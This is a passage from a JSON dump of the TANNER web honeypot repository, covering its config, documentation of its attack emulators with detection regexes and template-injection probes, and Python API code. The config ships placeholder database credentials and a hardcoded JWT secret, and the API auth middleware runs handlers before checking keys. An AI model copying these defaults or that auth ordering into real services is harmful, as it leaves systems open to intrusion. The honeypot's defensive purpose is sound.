dorks: /opt/tanner/data/dorks.pickle\n    user_dorks: /opt/tanner/data/user_dorks.pickle\n    crawler_stats: /opt/tanner/data/crawler_user_agents.txt\n    geo_db: /opt/tanner/db/GeoLite2-City.mmdb\n    tornado: /opt/tanner/data/tornado.py\n    mako: /opt/tanner/data/mako.py\n\n  TANNER:\n    host: 0.0.0.0\n    port: 8090\n\n  WEB:\n    host: 0.0.0.0\n    port: 8091,\n\n  API:\n    host: 0.0.0.0\n    port: 8092\n    auth: False\n    auth_signature: tanner_api_auth\n\n  PHPOX:\n    host: 0.0.0.0\n    port: 8088\n\n  REDIS:\n    host: localhost\n    port: 6379\n    poolsize: 80\n    timeout: 1\n\n  EMULATORS:\n    root_dir: /opt/tanner\n\n  EMULATOR_ENABLED:\n    sqli: True\n    rfi: True\n    lfi: True\n    xss: True\n    cmd_exec: True\n    php_code_injection: True\n    php_object_injection: True\n    crlf: True\n    xxe_injection: True\n    template_injection: True\n\n  SQLI:\n    type: SQLITE\n    db_name: tanner_db\n    host: localhost\n    user: root\n    password: user_pass\n\n  XXE_INJECTION:\n    OUT_OF_BAND: False\n\n  RFI:\n    allow_insecure: False\n\n  DOCKER:\n    host_image: busybox:latest\n\n  LOGGER:\n    log_debug: /opt/tanner/tanner.log\n    log_err: /opt/tanner/tanner.err\n\n  MONGO:\n    enabled: False\n    URI: mongodb://localhost\n\n  HPFEEDS:\n    enabled: False\n    HOST: localhost\n    PORT: 10000\n    IDENT: ''\n    SECRET: ''\n    CHANNEL: tanner.events\n\n  LOCALLOG:\n    enabled: False\n    PATH: /tmp/tanner_report.json\n\n  CLEANLOG:\n    enabled: False\n\n  REMOTE_DOCKERFILE:\n    GITHUB: \"https://raw.githubusercontent.com/mushorg/tanner/master/docker/tanner/template_injection/Dockerfile\"\n\n  SESSIONS:\n    delete_timeout: 300\n\n"
  },
  {
    "path": "docs/source/db_setup.rst",
    "content": "DB Setup\n========\n\nTo setup a database for sqli emulation TANNER provides ``db_config.json`` file, which stores the configuration of a database.\n``db_config.json`` has the following structure:\n\n::\n\n    {\n        \"name\": \"db name\"\n        \"tables\":[\n            {\n                \"table name\": \"name of the table\"\n                \"schema\": \"the result of sqlite3 command .schema, create table expression\"\n                \"data_tokens\": \"types of data in the columns\"\n            }\n        ]\n    }\n\n\nDefault ``db_config.json``:\n\n::\n\n    {\n      \"name\": \"test1\",\n      \"tables\": [\n        {\n          \"table_name\": \"users\",\n          \"schema\": \"CREATE TABLE users (id INTEGER PRIMARY KEY, username text, email text, password text);\",\n          \"data_tokens\": \"I,L,E,P\"\n        },\n        {\n          \"table_name\": \"comments\",\n          \"schema\": \"CREATE TABLE comments (id INTEGER PRIMARY KEY, comment text);\",\n          \"data_tokens\": \"I,T\"\n        }\n      ]\n    }\n\nYou can change default config to make your own db structure.\n\nData tokens\n~~~~~~~~~~~\n\nData tokens are used for filling the database with dummy data.\nThere are 4 default tokens:\n        * **I** -- integer id\n        * **L** -- login/username\n        * **E** -- email\n        * **P** -- password\n        * **T** -- piece of text\n\n\n**Note**: TANNER uses the default linux wordlist (``/usr/share/dict/words``) for data.\nIf you don't have the default wordlist in your system, install it or put it manually in ``/usr/share/dict``."
  },
  {
    "path": "docs/source/dorks.rst",
    "content": "Dorks\n=====\n\nThere are two types of the dorks:\n\n* **Manually added dorks** -- came from the Google Hacking database and other sources\n* **User dorks** -- all user requests with queries\n\nAll dorks are stored in the Redis and keys for the dorks are static:\n\n* **Manually dorks**  -- ``uuid.uuid3(uuid.NAMESPACE_DNS,'dorks').hex``.\n* **User dorks** -- ``uuid.uuid3(uuid.NAMESPACE_DNS,'user_dorks').hex``.\n\nOn initializing stage, Dorks Manager loads manually added dorks (``dorks.pickle``) from project directory and push them into redis.\nDorks are stored in the Redis as ``set`` to avoid repetition.\n\n\n"
  },
  {
    "path": "docs/source/emulators.rst",
    "content": "Emulators\n---------\nBase emulator\n~~~~~~~~~~~~~\nThis is the heart of emulation. Current emulators follow ``find and emulate`` approach where each emulator has a ``scan`` method\nwhich is called by base emulator against each ``GET``, ``POST`` parameter and ``cookie value``. The parameter which is affected, gets\nemulated by calling the corresponding emulator's ``handle`` method. It returns the ``payload`` along with ``injection page`` which is most recently visited ``text/html`` type page.\n\nRFI emulator\n~~~~~~~~~~~~\nIt emulates RFI_ vulnerability. This attack type is detected with pattern:\n\n::\n\n.*(.*(http(s){0,1}|ftp(s){0,1}):).*\n\nRFI emulation include two steps:\n\n* Download file\n   * Downloaded files are storing in the ``opt/tanner/scripts`` directory.\n   * Create filename with ``hashlib.md5()`` from its content.\n* Execute code from downloaded file with PHPox_ and return the result\n   * Get script body from file\n   * Connect to PHPox server (default 127.0.0.1:8088) and send script body\n   * Get the result of execution in the response\n   * Return the result\n\n\nLFI emulator\n~~~~~~~~~~~~\nIt emulates LFI_ vulnerability. This attack type is detected with pattern:\n\n::\n\n.*(\\/\\.\\.)*(home|proc|usr|etc)\\/.*\n\nIt is emualted using a docker container with Linux filesystem (default: ``busybox:latest``).\n\nWhen LFI attack is detected, LFI emulator executes a command ``cat **file_to_be_read**`` within the docker and it returns the contents\nof file if found else return ``No such file or directory``.\n\nXSS emulator\n~~~~~~~~~~~~\nIt emulates XSS_ vulnerability. This attack type is detected with pattern:\n\n::\n\n.*<(.|\\n)*?>\n\n\nEmulator returns the script body and the page, into which this script must be injected.\n\n* Script body can be extracted from data in ``POST`` requests and from query in ``GET`` requests .\n* To avoid replacing characters in data, we use ``urllib.parse.unquote`` function before analyzing path and post data with ``re``.\n* Page is selected from the current session paths (see :doc:`sessions`). It's the last page with mime type ``text/html``.\n* Script is injected into page on SNARE side.\n\nSQLi emulator\n~~~~~~~~~~~~~\n\nIt emulates `SQL injection`_ vulnerability. This attack is detected by ``libinjection``.\n\nThe emulator copies the original database (see :doc:`db_setup` for more info about db) to a dummy database for every attacker.\nIt uses UUID of the session for the attacker's db name. Every query is executed on the attacker's db.\nThe emulator returns the result of the execution and the page where SNARE should show the result.\nIt supports two types of DBs.\n* **SQLITE**\n  To enable it, set SQLI type to SQLITE in config\n* **MySQL**\n  To enable it, set SQLI type to MySQL in config and set other necessary fields - Host, User and Password\n\nCommand Execution Emulator\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nIt emulates `Command Execution`_ vulnerability. This attack is detected with pattern.\n\n::\n\n.*(alias|cat|cd|cp|echo|exec|find|for|grep|ifconfig|ls|man|mkdir|netstat|ping|ps|pwd|uname|wget|touch|while).*\n\n* Each param value is checked against the pattern and ``command`` is extracted.\n* The ``command`` is executed in a docker container safely.\n* Results from container is injected into the index page.\n\nPHP Code Injection Emulator\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\nIt emulates `PHP code injection`_ vuln. Usually, this type of vuln is found where user input is directly passed to\nfunctions like eval, assert. To mimic the functionality, user input is converted to the following code\n``<?php eval('$a = user_input'); ?>`` and then passed to phpox to get php code emulation results.\n\nPHP Object Injection Emulator\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nIt emulates `PHP object injection`_ vuln. PHP allows object serialization So, this type of vulnerability occurs when not\nproperly sanitized input is passed to ``unserialize()`` PHP function. Exploiting this vulnerability involves Magic methods like\n``__construct and __destruct`` which are called automatically when an object is created or destroyed and methods like\n``__sleep and __wakeup`` are called when an object is serialized or unserialized. The input serialized object is\ndetected with regex pattern.\n\n::\n\n(^|;|{|})O:[0-9]+:\n\nTo mimic this functionality the user input is injected to a vulnerable custom class with magic methods and then it\nis passed to php sandbox to get the injection results.\n\n**Important Note:** You will need to expose the vulnerable code to the attacker using your own suitable method. The\ndefault vulnerable code is `here`_. But you can always add your own custom class if needed.\n\nCRLF Emulator\n~~~~~~~~~~~~~\nIt emulates `CRLF`_ vuln. The attack is detected using ``\\r\\n`` pattern in the input. The parameter which looks suspicious\nis injected as a header with parameter name as header name and param value as header value.\n\nXXE Injection Emulator\n~~~~~~~~~~~~~~~~~~~~~~\nIt emulates `External Entity Injection`_ vulnerability. This type of vulnerability occurs when XML input with reference\nto an external entity is parsed by a weakly configured parser. It is exploited by putting specially crafted DTDs with malicious\nentities defined in it. The XML input is detected by regex pattern.\n\n::\n\n.*<(\\?xml|(!DOCTYPE.*)).*>\n\nTo mimic this functionality attacker's input will be injected into a vulnerable PHP code which parses the XML data\nand then it gets the injection results from php sandbox.\n\n**Note:** You can customize the vulnerable PHP code and can make it more intuitive. for eg: emulating a submit form with user, password fields.\n\nTemplate Injection Emulator\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\nThis emulates `Template Injection`_ vulnerability. This is exploited by using specially crafted payloads for different template engines.\nFor now we are covering ``tornado`` and ``mako`` python templating engines. The injection formats are different for every engine\nfor ex ``tornado: {{7*7}} -> 49`` and ``mako: <% x=7*7 %>${x} -> 49``.\n\nThe payload is detected using regex pattern:\n\n::\n\n.*({{.*}}).* - Tornado\n.*(<%.*|\\s%>).* - Mako\n\nTo mimic this functionality vulnerable template renderers are stored in `files/engines` directory for every engine in which the payload will be injected.\nThese vulnerable templates are executed safely using custom docker image to get the injection results.\n\n\n.. _Template Injection: https://portswigger.net/blog/server-side-template-injection\n.. _RFI: https://en.wikipedia.org/wiki/File_inclusion_vulnerability#Remote_File_Inclusion\n.. _PHPox: https://github.com/mushorg/phpox\n.. _LFI: https://en.wikipedia.org/wiki/File_inclusion_vulnerability#Local_File_Inclusion\n.. _XSS: https://en.wikipedia.org/wiki/Cross-site_scripting\n.. _SQL injection: https://en.wikipedia.org/wiki/SQL_injection\n.. _Command Execution: https://www.owasp.org/index.php/Command_Injection\n.. _PHP Code Injection: https://www.owasp.org/index.php/Code_Injection\n.. _PHP object injection: https://www.owasp.org/index.php/PHP_Object_Injection\n.. _CRLF: https://www.owasp.org/index.php/CRLF_Injection\n.. _External Entity Injection: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing\n.. _manual: https://github.com/client9/libinjection/wiki/doc-sqli-python\n.. _here: https://github.com/mushorg/tanner/blob/8ce13d1f7d4423ddaf0e7910781199be9b90ce40/tanner/emulators/php_object_injection.py#L16\n"
  },
  {
    "path": "docs/source/index.rst",
    "content": ".. tanner documentation master file, created by\n   sphinx-quickstart on Wed Jun 22 22:07:03 2016.\n   You can adapt this file completely to your liking, but it should at least\n   contain the root `toctree` directive.\n\nWelcome to TANNER's documentation!\n==================================\n\nContents:\n\n.. toctree::\n   :maxdepth: 2\n\n   quick-start\n   parameters\n   emulators\n   sessions\n   storage\n   dorks\n   config\n   api\n   web\n\n\n\nIndices and tables\n==================\n\n* :ref:`genindex`\n* :ref:`modindex`\n* :ref:`search`\n\n"
  },
  {
    "path": "docs/source/parameters.rst",
    "content": "TANNER command line parameters\n=============================\ntanner [**--config**]\n\nDescription\n~~~~~~~~~~~\n\n* **config** -- path to tanner config file\n"
  },
  {
    "path": "docs/source/quick-start.rst",
    "content": "Quick Start\n===========\n\nTANNER, a remote data analysis and classification service, to evaluate HTTP requests and composing the response then\nserved by SNARE.\n\nBasic concept\n\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n* Evaluating SNARE events.\n* Serve dorks.\n* Adopt and change the responses.\n\nSetup Redis\n\"\"\"\"\"\"\"\"\"\"\"\n\n#. Install the Redis: ``sudo apt-get install redis-server``\n#. Start it on ``localhost`` with default ``port``: ``redis-server``\n\nSetup PHP Sanbox\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n#. For PHP Sandbox setup, see sandbox manual_\n#. In PHP Sandbox directory, run sandbox: ``sudo python3 sandbox.py``\n\n\n.. _manual: https://github.com/mushorg/phpox\n\nSetup and run TANNER\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n#. Get TANNER: ``git clone https://github.com/mushorg/tanner.git``\n#. Go to the tanner source directory ``cd tanner``\n#. Install requirements: ``sudo pip3 install -r requirements.txt``\n#. Install tanner ``sudo python3 setup.py install``\n#. Run TANNER: ``sudo tanner``\n\nRun Tanner Api\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n#. Run ``sudo tannerapi``\n\nRun Tanner WebUI\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n\n#. Run ``sudo tannerweb``\n\nDocker build instructions\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n1. Change current directory to ``tanner/docker``\n2. ``docker-compose build``\n3. ``docker-compose up``\n\n**Note**: Running docker with default ``docker-compose.yml`` setting will start tanner, tannerapi, tannerweb, tanner redis, tannerphpox but only tanner and tannerweb will be accesible from the outside network.\n\nMore information about running ``docker-compose`` can be found `here <https://docs.docker.com/compose/gettingstarted/>`_.\n"
  },
  {
    "path": "docs/source/sessions.rst",
    "content": "Sessions\n========\n\n.. _session:\nSession\n~~~~~~~\nSession class accepts ``data`` as a parameter. The ``data`` came from SNARE and  is validated  before use (see :ref:`session-manager`).\n\n**Attributes:**\n\n    * **ip** -- peer ip address.\n    * **port** -- peer port.\n    * **user_agent** -- peer user agent.\n    * **snare_uuid** -- SNARE sensor uuid.\n    * **paths** -- list of dictionaries. Contains ``path``, ``timestamp``, ``attack_type`` and SNARE ``response status``.\n    * **sess_uuid** -- randomly generated session uuid.\n    * **start_timestamp** -- session start time.\n    * **timestamp** -- current session timestamp.\n    * **count** -- count of the session's updates (i.e. requested paths).\n    * **cookies** -- dictionary of cookies sent by client or set by server\n\n ``KEEP_ALIVE_TIME`` is the constant, which set up the active session time. Default value is 75.\n After this time, the session is expired and can be deleted.\n\n\n.. _session-manager:\n\nSession Manager\n~~~~~~~~~~~~~~~\nEvery session is tracking and recording.\n\nThe session is determined by peer ``ip``, ``user_agent`` and ``sess_uuid``.\nSession is unique, if there is no sessions with this ``ip``, ``user_agent`` and ``sess_uuid``.\nIf session exists, it will be updated.\nActive sessions are kept in the process memory (see :ref:`session`). After expiration, session is pushed into the Redis (see :doc:`storage`)\n\nData validation\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nIf necessary fields missing in the raw data from SNARE, these fields are created\nwith ``None`` value.\n\n\nSession Evaluation\n~~~~~~~~~~~~~~~~~~\nWhen session is deleted from python process memory, it is evaluated by session analyzer.\nThe result contains next fields:\n\n* *Session attributes*\n    * **sess_uuid**\n    * **peer_ip**\n    * **peer_port**\n    * **user_agent**\n    * **snare_uuid**\n    * **start_time**\n    * **cookies**\n* **end_time** -- last session timestamp\n* **requests_per_second** -- request per second from user\n* **approx_time_between_requests** --\n* **accepted_paths** -- number of accepted paths\n* **errors** -- counts of errors in SNARE responses\n* **hidden_links** -- count of accepted dorks hidden links\n* **attack_types** -- list of attack types\n* **paths** -- list of all paths\n* **possible_owners** -- list of possible owners. May be ``user``, ``attacker``, ``tool`` and ``crawler``\n"
  },
  {
    "path": "docs/source/storage.rst",
    "content": "Storage\n=======\n\nWe use Redis_ as main storage.\nTANNER connects to the redis with default values: ``host='localhost', port=6379``\n\nYou should install and start the Redis on the server before using TANNER.\nSee :doc:`quick-start`\n\n.. _Redis: http://redis.io/\n\n"
  },
  {
    "path": "docs/source/web.rst",
    "content": "Tanner WEB\n==========\nTanner WEB provides various stats related to traffic captured by snare in UI form. It can be accessed at ``locahost:8091/``.\n\n/\n~~~~\nThis is the index page which has a logo (mushorg) with ``Tanner web`` written below it.\n\nBelow that we can find general info of the tanner instance:\n\n* **Tanner version** -- Which shows the version of tanner instance\n* **No. of snares connected** -- Which shows the number of snares connected to the tanner instance\n* **Latest session** -- Which will navigate you to the latest session's info page\nBelow that we can find a clickable which states, ``Click here to navigate to snares list``, clicking which will move you to the ``/snares`` page.\n\n/snares\n~~~~~~~~~~ \nThis shows all the snares' uuid. Each snare object is clickable. Clicking displays the page **/snare/<snare-uuid>**\n\n/snare/<snare-uuid>\n~~~~~~~~~~~~~~~~~~~~~~\nReplace ``<snare-uuid>`` with a valid `snare-uuid` and it will provide two options:\n\t* **Snare-Stats** -- It will move you to **/snare-stats/<snare-uuid>**\n\t* **Sessions** -- It will move you to **/<snare-uuid>/sessions**\n\n/snare-stats/<snare-uuid>\n~~~~~~~~~~~~~~~~~~~~~~~~~\nThis page shows some general stats about the snare\n\n\t* **No of Sessions** - Total no of sessions of the snare\n\t* **Total Duration** - Total durations during which sessions remain active\n\t* **Attack Frequency** - Frequency of different attacks made on the snare\n\n/<snare-uuid>/sessions\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nThis shows all the sessions' uuid. Each is clickable. Clicking displays **/session/<sess-uuid>**\nFilters can be on the sessions using the input box and clicking the ``Apply`` button.\nFilters are sepatated by ``white-space`` and name-value pair are separated by ``:``. E.g ``filter1:value1 filter2:value2``.\n\nIt supports 6 filters:\n\t* **peer_ip** -- Sessions with given ip. E.g ``peer_ip:127.0.0.1 ``\n\t* **user-agent** -- Sessions with given user-agent. E.g ``user-agent:Chrome``\n\t* **attack_types** -- Sessions with given attack type such as lfi, rfi, xss, cmd_exec, sqli. E.g ``attack_types:lfi``\n\t* **possible_owners** -- Sessions with given owner type such as user, tool, crawler, attacker. E.g ``possible_owners:attacker``\n\t* **start_time** -- Sessions which started after `start_time`. E.g ``start_time:1480560``\n\t* **end_time** -- Sessions which ended before `end_time`. E.g ``end_time:1480560``\n\t* **location** -- Sessions which have been done from the specified geometric `location`. It can take value of either country, city, country_code or zip_code. E.g ``location:India``, ``location:Mumbai``, ``location:US``, ``location:636005`` etc\n\nMultiple filters can be applied as ``peer_ip:127.0.0.1 start_time:1480560 possible_owners:attacker``\n\n/session/<sess-uuid>\n~~~~~~~~~~~~~~~~~~~~~~~~\nIt gives all information about the session with given uuid. Here you may find some of the text clickable such as \n``peer_ip``,``possible_owners``, ``start_time``, ``end_time``, ``attack_types``. Clicking on them will display all the sessions will same attribute value.\n"
  },
  {
    "path": "requirements.txt",
    "content": "aiohttp\naiomysql\naiohttp-jinja2==1.5.1\ndocker<2.6\nmimesis<3.0.0\nyarl\nredis\naioredis\npymongo\npylibinjection\njinja2\nMarkupSafe<2.1.0\npycodestyle\ngeoip2\naiodocker\ntornado\nmako\npyjwt\npyyaml\n"
  },
  {
    "path": "setup.py",
    "content": "#!/usr/bin/env python\nfrom setuptools import find_packages, setup\n\nsetup(\n    name=\"Tanner\",\n    version=\"0.6.0\",\n    description=\"He who flays the hide\",\n    author=\"MushMush Foundation\",\n    author_email=\"glastopf@public.honeynet.org\",\n    url=\"https://github.com/mushorg/tanner\",\n    packages=find_packages(exclude=[\"*.pyc\"]),\n    scripts=[\"bin/tanner\", \"bin/tannerweb\", \"bin/tannerapi\"],\n    data_files=[\n        (\"/opt/tanner/db/\", [\"tanner/data/db_config.json\", \"tanner/data/GeoLite2-City.mmdb\"]),\n        (\n            \"/opt/tanner/data/\",\n            [\n                \"tanner/data/dorks.pickle\",\n                \"tanner/data/crawler_user_agents.txt\",\n                \"tanner/files/engines/mako.py\",\n                \"tanner/files/engines/tornado.py\",\n                \"tanner/data/config.yaml\",\n            ],\n        ),\n    ],\n)\n"
  },
  {
    "path": "tanner/__init__.py",
    "content": "__version__ = \"0.6.0\"\n"
  },
  {
    "path": "tanner/api/__init__.py",
    "content": ""
  },
  {
    "path": "tanner/api/api.py",
    "content": "import json\nimport logging\nimport operator\nimport aioredis\n\n\nclass Api:\n    def __init__(self, redis_client):\n        self.logger = logging.getLogger(\"tanner.api.Api\")\n        self.redis_client = redis_client\n\n    async def return_snares(self):\n        query_res = []\n        try:\n            query_res = await self.redis_client.smembers(\"snare_ids\")\n        except aioredis.exceptions.ConnectionError as connection_error:\n            self.logger.exception(\"Can not connect to redis %s\", connection_error)\n        return list(query_res)\n\n    async def return_snare_stats(self, snare_uuid):\n        result = {}\n        result[\"total_sessions\"] = 0\n        result[\"total_duration\"] = 0\n        result[\"attack_frequency\"] = {\"sqli\": 0, \"lfi\": 0, \"xss\": 0, \"rfi\": 0, \"cmd_exec\": 0}\n\n        sessions = await self.return_snare_info(snare_uuid)\n        if sessions == \"Invalid SNARE UUID\":\n            return result\n\n        result[\"total_sessions\"] = len(sessions)\n        for sess in sessions:\n            result[\"total_duration\"] += sess[\"end_time\"] - sess[\"start_time\"]\n            for attack in sess[\"attack_types\"]:\n                if attack in result[\"attack_frequency\"]:\n                    result[\"attack_frequency\"][attack] += 1\n\n        return result\n\n    async def return_snare_info(self, uuid, count=-1):\n        query_res = []\n        try:\n            query_res = await self.redis_client.zrevrangebyscore(uuid, offset=0, count=count)\n        except aioredis.exceptions.ConnectionError as connection_error:\n            self.logger.exception(\"Can not connect to redis %s\", connection_error)\n        else:\n            if not query_res:\n                return \"Invalid SNARE UUID\"\n            for (i, val) in enumerate(query_res):\n                query_res[i] = json.loads(val)\n        return query_res\n\n    async def return_session_info(self, sess_uuid, snare_uuid=None):\n        if snare_uuid:\n            snare_uuids = [snare_uuid]\n        else:\n            snare_uuids = await self.return_snares()\n\n        for snare_id in snare_uuids:\n            sessions = await self.return_snare_info(snare_id)\n            if sessions == \"Invalid SNARE UUID\":\n                continue\n            for sess in sessions:\n                if sess[\"sess_uuid\"] == sess_uuid:\n                    return sess\n\n    async def return_sessions(self, filters):\n        snare_uuids = await self.return_snares()\n\n        matching_sessions = []\n        for snare_id in snare_uuids:\n            result = await self.return_snare_info(snare_id)\n            if result == \"Invalid SNARE UUID\":\n                return \"Invalid filter : SNARE UUID\"\n            sessions = result\n            for sess in sessions:\n                match_count = 0\n                for filter_name, filter_value in filters.items():\n                    try:\n                        if self.apply_filter(filter_name, filter_value, sess):\n                            match_count += 1\n                    except KeyError:\n                        return \"Invalid filter : %s\" % filter_name\n\n                if match_count == len(filters):\n                    matching_sessions.append(sess)\n\n        return matching_sessions\n\n    async def return_latest_session(self):\n        latest_time = -1\n        latest_session = None\n        snares = await self.return_snares()\n        try:\n            for snare in snares:\n                filters = {\"snare_uuid\": snare}\n                sessions = await self.return_sessions(filters)\n                for session in sessions:\n                    if latest_time < session[\"end_time\"]:\n                        latest_time = session[\"end_time\"]\n                        latest_session = session[\"sess_uuid\"]\n        except TypeError:\n            return None\n        return latest_session\n\n    def apply_filter(self, filter_name, filter_value, sess):\n        available_filters = {\n            \"user_agent\": operator.contains,\n            \"peer_ip\": operator.eq,\n            \"attack_types\": operator.contains,\n            \"possible_owners\": operator.contains,\n            \"start_time\": operator.le,\n            \"end_time\": operator.ge,\n            \"snare_uuid\": operator.eq,\n            \"location\": operator.contains,\n        }\n\n        try:\n            if available_filters[filter_name] is operator.contains:\n                return available_filters[filter_name](sess[filter_name], filter_value)\n            else:\n                return available_filters[filter_name](filter_value, sess[filter_name])\n        except KeyError:\n            raise\n"
  },
  {
    "path": "tanner/api/server.py",
    "content": "import asyncio\nimport logging\n\nfrom aiohttp import web\nfrom aiohttp.web import middleware\n\nfrom tanner.api import api\nfrom tanner import redis_client\nfrom tanner.config import TannerConfig\nfrom tanner.utils.api_key_generator import generate\n\nimport jwt\nfrom jwt.exceptions import DecodeError, InvalidSignatureError\n\n\nclass ApiServer:\n    def __init__(self):\n        self.logger = logging.getLogger(\"tanner.api.ApiServer\")\n        self.api = None\n\n    @staticmethod\n    def _make_response(msg):\n        response_message = dict(version=1, response=dict(message=msg))\n        return response_message\n\n    async def handle_index(self, request):\n        result = \"tanner api\"\n        response_msg = self._make_response(result)\n        return web.json_response(response_msg)\n\n    async def handle_snares(self, request):\n        result = await self.api.return_snares()\n        response_msg = self._make_response(result)\n        return web.json_response(response_msg)\n\n    async def handle_snare_info(self, request):\n        snare_uuid = request.match_info[\"snare_uuid\"]\n        result = await self.api.return_snare_info(snare_uuid, 50)\n        response_msg = self._make_response(result)\n        return web.json_response(response_msg)\n\n    async def handle_snare_stats(self, request):\n        snare_uuid = request.match_info[\"snare_uuid\"]\n        result = await self.api.return_snare_stats(snare_uuid)\n        response_msg = self._make_response(result)\n        return web.json_response(response_msg)\n\n    async def handle_sessions(self, request):\n        snare_uuid = request.match_info[\"snare_uuid\"]\n        params = request.url.query\n        applied_filters = {\"snare_uuid\": snare_uuid}\n        try:\n            if \"filters\" in params:\n                for filt in params[\"filters\"].split():\n                    applied_filters[filt.split(\":\")[0]] = filt.split(\":\")[1]\n                if \"start_time\" in applied_filters:\n                    applied_filters[\"start_time\"] = float(applied_filters[\"start_time\"])\n                if \"end_time\" in applied_filters:\n                    applied_filters[\"end_time\"] = float(applied_filters[\"end_time\"])\n        except Exception as e:\n            self.logger.exception(\"Filter error : %s\" % e)\n            result = \"Invalid filter definition\"\n        else:\n            sessions = await self.api.return_sessions(applied_filters)\n            sess_uuids = [sess[\"sess_uuid\"] for sess in sessions]\n            result = sess_uuids\n        response_msg = self._make_response(result)\n        return web.json_response(response_msg)\n\n    async def handle_session_info(self, request):\n        sess_uuid = request.match_info[\"sess_uuid\"]\n        result = await self.api.return_session_info(sess_uuid)\n        response_msg = self._make_response(result)\n        return web.json_response(response_msg)\n\n    async def on_shutdown(self, app):\n        self.redis_client.close()\n\n    @middleware\n    async def auth(self, request, handler):\n        resp = await handler(request)\n        auth_key = request.query.get(\"key\")\n        try:\n            decoded = jwt.decode(auth_key, TannerConfig.get(\"API\", \"auth_signature\"), algorithm=\"HS256\")\n        except (DecodeError, InvalidSignatureError):\n            return web.Response(body=\"401: Unauthorized\")\n        return resp\n\n    def setup_routes(self, app):\n        app.router.add_get(\"/\", self.handle_index)\n        app.router.add_get(\"/snares\", self.handle_snares)\n        app.router.add_resource(\"/snare/{snare_uuid}\").add_route(\"GET\", self.handle_snare_info)\n        app.router.add_resource(\"/snare-stats/{snare_uuid}\").add_route(\"GET\", self.handle_snare_stats)\n        app.router.add_resource(\"/{snare_uuid}/sessions\").add_route(\"GET\", self.handle_sessions)\n        app.router.add_resource(\"/session/{sess_uuid}\").add_route(\"GET\", self.handle_session_info)\n\n    async def make_app(self, auth=False):\n        if auth:\n            app = web.Application(middlewares=[self.auth])\n        else:\n            app = web.Application()\n        app.on_shutdown.append(self.on_shutdown)\n        self.setup_routes(app)\n        return app\n\n    def start(self):\n        loop = asyncio.get_event_loop()\n        self.redis_client = loop.run_until_complete(redis_client.RedisClient.get_redis_client(poolsize=20))\n        self.api = api.Api(self.redis_client)\n        set_auth = TannerConfig.get(\"API\", \"auth\")\n\n        host = TannerConfig.get(\"API\", \"host\")\n        port = int(TannerConfig.get(\"API\", \"port\"))\n\n        if set_auth:\n            key = generate()\n            print(\"API_KEY for full access:\", key)\n\n        web.run_app(self.make_app(auth=set_auth), host=host, port=port)\n"
  },
  {
    "path": "tanner/config.py",
    "content": "import logging\nimport os\nimport sys\n\nimport yaml\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass TannerConfig:\n    config = None\n\n    @staticmethod\n    def read_config(path):\n        config_values = {}\n        try:\n            with open(path, \"r\") as f:\n                config_values = yaml.load(f, Loader=yaml.FullLoader)\n        except yaml.parser.ParserError as e:\n            print(\"Couldn't properly parse the config file. Please use properly formatted YAML config.\")\n            sys.exit(1)\n        return config_values\n\n    @staticmethod\n    def set_config(config_path):\n        if not os.path.exists(config_path):\n            print(\"Config file {} doesn't exist. Check the config path or use default\".format(config_path))\n            sys.exit(1)\n\n        TannerConfig.config = TannerConfig.read_config(config_path)\n\n    @staticmethod\n    def get(section, value):\n        try:\n            res = TannerConfig.config[section][value]\n        except (KeyError, TypeError):\n            res = DEFAULT_CONFIG[section][value]\n\n        return res\n\n\nDEFAULT_CONFIG = TannerConfig.read_config(\"/opt/tanner/data/config.yaml\")\n"
  },
  {
    "path": "tanner/data/config.yaml",
    "content": "DATA:\n  db_config: /opt/tanner/db/db_config.json\n  dorks: /opt/tanner/data/dorks.pickle\n  user_dorks: /opt/tanner/data/user_dorks.pickle\n  crawler_stats: /opt/tanner/data/crawler_user_agents.txt\n  geo_db: /opt/tanner/db/GeoLite2-City.mmdb\n  tornado: /opt/tanner/data/tornado.py\n  mako: /opt/tanner/data/mako.py\n\nTANNER:\n  host: 0.0.0.0\n  port: 8090\n\nWEB: \n  host: 0.0.0.0\n  port: 8091\n\nAPI: \n  host: 0.0.0.0\n  port: 8092\n  auth: False\n  auth_signature: tanner_api_auth\n\nPHPOX: \n  host: 0.0.0.0\n  port: 8088\n\nREDIS: \n  host: localhost\n  port: 6379\n  poolsize: 80 \n  timeout: 1\n\nEMULATORS:\n  root_dir: /opt/tanner\n\nEMULATOR_ENABLED: \n  sqli: True\n  rfi: True\n  lfi: True \n  xss: True\n  cmd_exec: True\n  php_code_injection: True \n  php_object_injection: True\n  crlf: True\n  xxe_injection: True\n  template_injection: True\n\nSQLI: \n  type: SQLITE\n  db_name: tanner_db\n  host: 127.0.0.1\n  user: root\n  password: user_pass\n\nXXE_INJECTION: \n  OUT_OF_BAND: False\n\nRFI: \n  allow_insecure: False\n\nDOCKER: \n  host_image: busybox:latest\n\nLOGGER: \n  log_debug: /opt/tanner/tanner.log\n  log_err: /opt/tanner/tanner.err\n\nMONGO:\n  enabled: False\n  URI: mongodb://localhost\n\nHPFEEDS: \n  enabled: False\n  HOST: localhost\n  PORT: 10000\n  IDENT: ''\n  SECRET: ''\n  CHANNEL: tanner.events\n\nLOCALLOG: \n  enabled: False\n  PATH: /tmp/tanner_report.json\n\nCLEANLOG: \n  enabled: False\n\nREMOTE_DOCKERFILE: \n  GITHUB: \"https://raw.githubusercontent.com/mushorg/tanner/master/docker/tanner/template_injection/Dockerfile\"\n\nSESSIONS: \n  delete_timeout: 300\n"
  },
  {
    "path": "tanner/data/crawler_user_agents.txt",
